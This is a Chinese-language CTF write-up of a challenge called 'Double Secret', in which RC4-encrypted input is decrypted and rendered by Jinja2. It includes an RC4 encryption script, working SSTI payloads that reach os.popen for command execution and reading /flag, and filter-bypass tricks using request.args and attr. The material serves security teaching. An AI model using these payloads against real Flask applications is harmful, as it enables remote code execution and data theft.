RC4加密叠加Jinja2 SSTI:Double Secret复现 刚拿到这道题的时候我在首页那个输入框里老老实实敲了好几遍 77页面除了把内容原样吐回来什么都没发生。这种感觉做过 Web 题的人应该都不陌生——真正的入口往往不在你以为的地方。这道题叫 Double Secret从一个做题人的角度看它把两个东西叠在了一起一个是流密码层面的RC4 加密另一个是Jinja2 模板注入SSTI。前者负责把 payload 伪装成一串乱码骗过校验后者负责真正把命令跑起来。搞清楚这两层的先后关系是这道题最关键的一步。我按自己复现时的顺序把整条链路拆开讲一遍包括每一步为什么要这么做、我在哪里卡过、以及那几个看起来很小却能把人卡一整晚的坑。整个过程都在我本地搭建的靶场环境里完成所有命令和脚本都可以直接抄去复现。1. 别急着在首页输入框里试 payload先把服务的行为摸清楚1.1 首页那个输入框是烟雾弹还是线索打开首页页面结构很朴素一个表单提交后内容会回显在页面上。大多数人看到这个的第一反应是直接上{{7*7}}看看有没有 SSTI我也这么干过。结果页面把{{7*7}}原样显示了出来说明这里要么做了 HTML 转义|e过滤器要么渲染流程根本没把用户输入当模板处理只是字符串拼接后丢进模板的普通变量位。这两者的区别值得说清楚。如果模板里写的是{{ content }}而content就是用户输入那么用户输入里的{{ }}会被当成普通字符因为 Jinja2 的解析发生在编译期变量值不会被二次解析。这种情况下你看到的就是原文属于假 SSTI。另一种情况是后端用了render_template_string(user_input)这才是真正危险的做法因为用户输入直接进了模板编译器。区分方法很简单提交一个必然会算出来的表达式看它有没有被求值。首页还有一个信息值得记下来响应头里的Server字段通常会暴露Werkzeug/加版本号Set-Cookie里如果有session说明 Flask 的 session 机制开着。这两条信息在后面判断密钥来源时都用得上。我习惯在开打之前先用浏览器开发者工具把首页的请求、响应、Cookie 全部看一遍再用抓包工具把表单提交那一下的完整请求截下来看看参数名、编码方式、有没有隐藏字段。这一步花不了两分钟但能省掉后面大量瞎猜的时间。真正让我警觉的是一个非常规的路由。首页没什么反应但通过目录探测或者直接访问/secret能拿到一段看起来像乱码的返回。这道题的入口就在这儿。1.2 /secret 的返回内容为什么会“打不出来”访问/secret返回的是一段不像正常文本的东西。第一次看到这种输出很容易懵我的处理习惯是先把它复制下来用 Python 看一眼它的本质而不是靠眼睛猜s 把返回内容粘在这里 print(len(s)) print(repr(s)) print([hex(ord(c)) for c in s[:16]])这几行能回答三个问题。第一长度是多少是不是固定长度。第二里面有没有非打印字符repr()会把这些字符转义成\xNN的形式。第三字符范围落在哪里。如果返回的全是可打印字符、长度稳定、且包含/这类符号基本就是 Base64如果只有0-9a-f那就是十六进制如果repr里出现大量\x开头的东西说明后端把原始二进制字节直接当字符串返回了。这道题属于最后一种情况服务端把加密后的字节序列直接输出中间的0x00和不可打印字符原样带了出来。这种泄漏其实不是 bug而是出题人故意给的线索——它等于把内部的加密函数和密钥行为暴露给了你等你反推出算法。一个正常的业务接口绝不会把密文以这种原始形态吐出来看到这种返回就该意识到这里是一个可以被我控制的加密/解密通道。提示遇到非打印字符别用浏览器地址栏反复刷新字符在传输过程中很容易被吃掉。用curl加--output保存原始字节或者直接用脚本requests.get(...).content拿bytes后面处理起来才不会丢数据。2. “Double Secret”这名字不是随口起的两层东西要拆2.1 RC4 的三个识别特征判断加密算法我不太喜欢一上来就硬套工具先看几个现象级特征往往比跑脚本更快。RC4 是流密码它有几个非常鲜明的特点在实际题目里很好辨认。第一个特征是长度守恒。流密码是逐字节异或密文长度严格等于明文长度没有分组、没有填充。你提交一个 5 字节的输入返回的密文就是 5 字节提交 100 字节就返回 100 字节。如果是 AES 这类分组密码长度会是 16 的倍数往上凑或者带 Base64 后长度出现明显规律。这一条基本能一刀切掉一大半候选。第二个特征是无随机 IV。RC4 的标准用法里没有内置随机数同一个密钥加密同一段明文无论请求多少次输出完全一样。我在靶场上连着发了三次相同的请求三次密文逐字节一致这就排除了带随机盐或者带 CBC 随机 IV 的方案。第三个特征也是我觉得最实用的一个明文改一位密文只变对应那一位。在密钥不变的前提下逐字节异或意味着明文的第 n 个字节只影响密文的第 n 个字节其余位置纹丝不动。而分组密码有雪崩效应哪怕明文只动一个 bit整块密文都会面目全非。这个测试做起来很直观提交AAAAA和AAAAB对比两次密文如果只有最后一个字节不同基本就锁定流密码了。再结合 RC4 在这个场景里最常被用来做玩具加密的惯例答案就很明显。顺带一提RC4 的密钥长度很灵活1 字节到 256 字节都能跑很多题目图省事就用一个短字符串当密钥这也是它的一个辨识点。2.2 为什么必须先解加密再谈注入这是这道题最核心的设计逻辑也是名字里Double的由来。服务端的处理顺序是先拿到你提交的数据用 RC4 解密再把解密结果送进模板引擎渲染。也就是说模板引擎看到的不是你的原始输入而是解密后的结果。你直接把{{7*7}}发过去服务端会拿它当密文去解密得到一串完全无意义的字节再把这串乱码丢给 Jinja2结果自然是乱码原样返回。我第一次就是这么试的折腾了半天以为注入点不在这儿。正确的思路是反过来我要让服务端解密之后恰好得到{{7*7}}那么我发过去的就必须是{{7*7}}用同一个密钥加密后的密文。加密和解密在 RC4 里是同一个运算所以我在本地做一次加密把结果发过去服务端解密就还原成了我想要的 payload。这一层秘密负责伪装第二层秘密才是真正的注入两层缺一不可。理解了这一点后面的操作就顺理成章了先确认密钥再写加解密工具最后才谈 payload 怎么写。3. 把 RC4 变成自己手里的加密器3.1 密钥到底可不可控怎么验证在动手写脚本之前得先确认密钥是从哪来的、我能不能控制。我的验证顺序是这样的。先做重复性测试同一个输入连发两次密文是否一致。一致说明没有随机因素掺进来密钥是稳定的。这一步在上面判断算法时其实已经做过了。再做参数扰动测试观察请求里有哪些参数可能影响密钥。这道题里密钥是跟着请求参数走的我改一下参数值返回的密文随之变化说明这个参数确实参与了密钥计算。到这一步就可以基本确定它是可控的。最后做本地复现验证用本地 RC4 实现拿我猜的那个密钥去加密明文看看算出来的密文和服务端返回的能不能逐字节对上。对上了密钥和算法就同时确认了对不上可能是密钥被拼接了固定前缀后缀或者编码方式UTF-8、Latin-1不一致需要再调。还有一种情况是密钥不可控比如它来自 Flask 的config、来自session、或者是服务启动时生成的随机值。这种时候就得去找泄漏点配置信息可能在某个调试页面、错误页、或者 SSTI 触发后的{{config}}里被读到。不过真到了能读config的地步注入其实已经成立了密钥的意义就不大了。这道题的情况相对友好密钥走参数可控。我在验证阶段踩过一个不算小的坑参数在 URL 里传的时候如果密钥里包含特殊字符服务端解码后和我本地的字节序列对不上密文自然对不上一度让我以为算法判断错了。后来统一改成先把密钥编码成十六进制再传问题就消失了。3.2 一份可以直接抄的本地加解密脚本下面是完整可用的 RC4 实现加密解密共用同一个函数注释我写得很细方便对着改import base64 import requests def rc4_crypt(data: bytes, key: bytes) - bytes: # 密钥调度把 0-255 的 S 盒用 key 打乱 S list(range(256)) j 0 for i in range(256): j (j S[i] key[i % len(key)]) % 256 S[i], S[j] S[j], S[i] # 伪随机生成 异或 i j 0 out bytearray() for byte in data: i (i 1) % 256 j (j S[i]) % 256 S[i], S[j] S[j], S[i] out.append(byte ^ S[(S[i] S[j]) % 256]) return bytes(out) KEY byour_key_here payload {{7*7}} cipher rc4_crypt(payload.encode(utf-8), KEY) print(hex :, cipher.hex()) print(b64 :, base64.b64encode(cipher).decode())传输方式的选择很关键。密文里极大概率含有0x00、、#、空格这些会破坏 URL 的字节直接拼进查询串十有八九会被截断。我的习惯是用十六进制或 Base64 包一层服务端如果支持就让它先解码服务端不支持的话就把请求改成 POST把密文放在 body 里用application/octet-stream或者直接放 hex 字符串。发请求的代码大致长这样resp requests.post( http://localhost:5000/secret, data{key: KEY.decode(), data: cipher.hex()}, timeout5, ) print(resp.status_code) print(resp.text)如果服务端返回的是加密后的结果而不是渲染结果那么把上面这套流程反过来用先用已知明文和已知密文验证密钥再拿它去解密服务端返回的内容看服务端认为的明文是什么。这一步能帮你判断密钥是不是被拼接了额外内容。4. 密文进门之后模板注入怎么一步步走出来4.1 从 {{7*7}} 到读文件的那条链加密层通了之后先发最朴素的探测 payload把{{7*7}}加密后投进去。如果页面上刺眼地出现一个49SSTI 就坐实了。这时候别急着上复杂链按顺序把信息一点点摸出来。先看{{config}}把 Flask 的配置整个打印出来。这个输出里通常有SECRET_KEY、DEBUG、SERVER_NAME这些字段能帮你判断后面该走哪条路。接着确认对象空间{{.__class__}}返回class str{{.__class__.__mro__}}返回(class str, class object)再往下{{.__class__.__mro__[1].__subclasses__()}}会吐出一大串当前解释器里加载过的类。这一串类里找能执行命令的位置是常规操作。subprocess.Popen、os._wrap_close都是常见目标前者直接起进程后者能顺着__init__.__globals__摸到os模块。但它们都需要你去数下标环境一变下标就可能偏移稳定性一般。我更偏爱lipsum这条路Jinja2 自带这个全局函数它的__globals__里直接就能拿到os{{lipsum.__globals__[os].popen(ls /).read()}}先把ls /跑通确认命令执行可行再换成cat /flag或者对应的位置。如果os拿不到退而求其次用__builtins__{{lipsum.__globals__[__builtins__][__import__](os).popen(id).read()}}注意__builtins__在不同上下文里可能是模块也可能是字典取法要试。这种不确定性就是实战和文档的区别文档里一条通杀的 payload 在真实环境里经常要改两三处。4.2 被过滤了下划线怎么办不少题会在入口对关键字做黑名单比如把_、class、import、popen这些词直接拦掉。拦截发生在哪一层决定了怎么绕。如果拦截作用在解密后的字符串上也就是服务端解密完再拿去做字符串匹配那么你加密前的 payload 里就不能出现这些词得换写法。最常见的绕法是把敏感片段挪到请求的其他位置。Jinja2 能读request对象所以可以把参数放在 URL 里{{|attr(request.args.a)|attr(request.args.b)}}请求里带上?a__class__b__mro__。多数过滤只检查模板字符串本身不去检查request.args里装的东西这是这类题最经典的绕过点。同理还能用request.cookies、request.headers、request.values哪个能进就试哪个。如果只拦了{{ }}本身可以改用语句块触发输出{%print(lipsum.__globals__[os].popen(ls).read())%}如果_被单独拦还可以利用 URL 解码把 payload 里的下划线写成%5f取决于过滤是在 URL 解码前还是解码后执行。解码前拦截就能绕过解码后拦截就没戏这个只能实测没法纸上推演。还有一个小技巧是把下划线拼出来比如用{%set%}定义变量再拼接或者用字符串格式化构造。这些写法在复杂过滤下很有用但可读性差我一般留到最后没办法了才用。注意所有绕过尝试都要在本地靶场里做改一次跑一次不要在一堆假设上叠加改动否则一旦成功你都不知道是哪条起的作用复盘的时候会很痛苦。5. 这类“加密 注入”组合题的通用打法5.1 判断“加密是为了绕过什么”做多了会发现题目里出现加密绝大多数时候不是为了保密而是为了绕过某种输入校验。识别这个意图能让你少走很多弯路。判断方法看两点。第一解密之后的数据去了哪里。如果它进的是一个危险函数——模板渲染、反序列化、SQL 拼接、命令执行——那加密就是一个包装层目的是让恶意内容以合法密文的形态通过前面的检查。第二检查发生在解密前还是解密后。绝大多数情况下前置的 WAF 或参数校验只看原始输入看不穿密文所以乱码天然合规。想清楚这一点思路就从我要破解这个加密变成了我自己来当这个加密机。你不需要逆向出密钥是怎么生成的只要能复现加密过程把 payload 包装好发过去就行。这道题就是标准的这个套路。同样的逻辑在很多场景都成立参数被前端加密后提交、请求体做了签名、Cookie 做了编码处理方式都是先在本地还原算法再构造合规的恶意输入。5.2 几个我实际踩过的坑第一个是传输截断。密文里只要有一个0x00塞进 URL 就会被截成两半服务端拿到的根本不是完整密文。我一开始反复怀疑密钥算错了最后发现是传输环节丢字节。解决办法就是统一走 hex 或 Base64别省这一步。第二个是编码不一致。Python 3 里str.encode()默认是 UTF-8而服务端可能是按 Latin-1 处理的一个中文字符或高位字节就能让密钥对不上。我在脚本里统一显式写encode(utf-8)服务端那边如果确实用 Latin-1就换成latin-1再试一次别嫌麻烦。第三个是密钥被拼接。有些实现不是直接拿你传的 key 当密钥而是key 固定后缀或者固定前缀 key。这种情况下你用纯 key 去算永远对不上需要用已知明文密文对反推。我一般会准备一两组明文已知、密文已知的样本拿它们去验证自己的实现对不上就调整密钥拼接方式。第四个是回显问题。命令执行成功不代表你能看到结果popen().read()是最直接的但如果被拦可以改成把结果写到静态目录再用浏览器访问或者通过 DNS、HTTP 外带把数据送出来。靶场里最省事的还是直接读文件回显。第五个是一次请求里状态变化。如果密钥跟 session 绑定而你每次请求都新建了会话密钥就变了密文自然对不上。用requests.Session()复用连接和 Cookie能避免这类莫名其妙的失败。最后分享一个我做这类题的习惯每确认一步就在本地记一行已验证密钥可控RC4 实现一致把假设和事实分开。加密题最怕的就是在一个错误的前提上继续往下搭前面错一点后面全盘皆输而且很难定位。把每一步都落成可复现的小实验排查的时候直接回退到最近一个确定的点比重头再来快得多。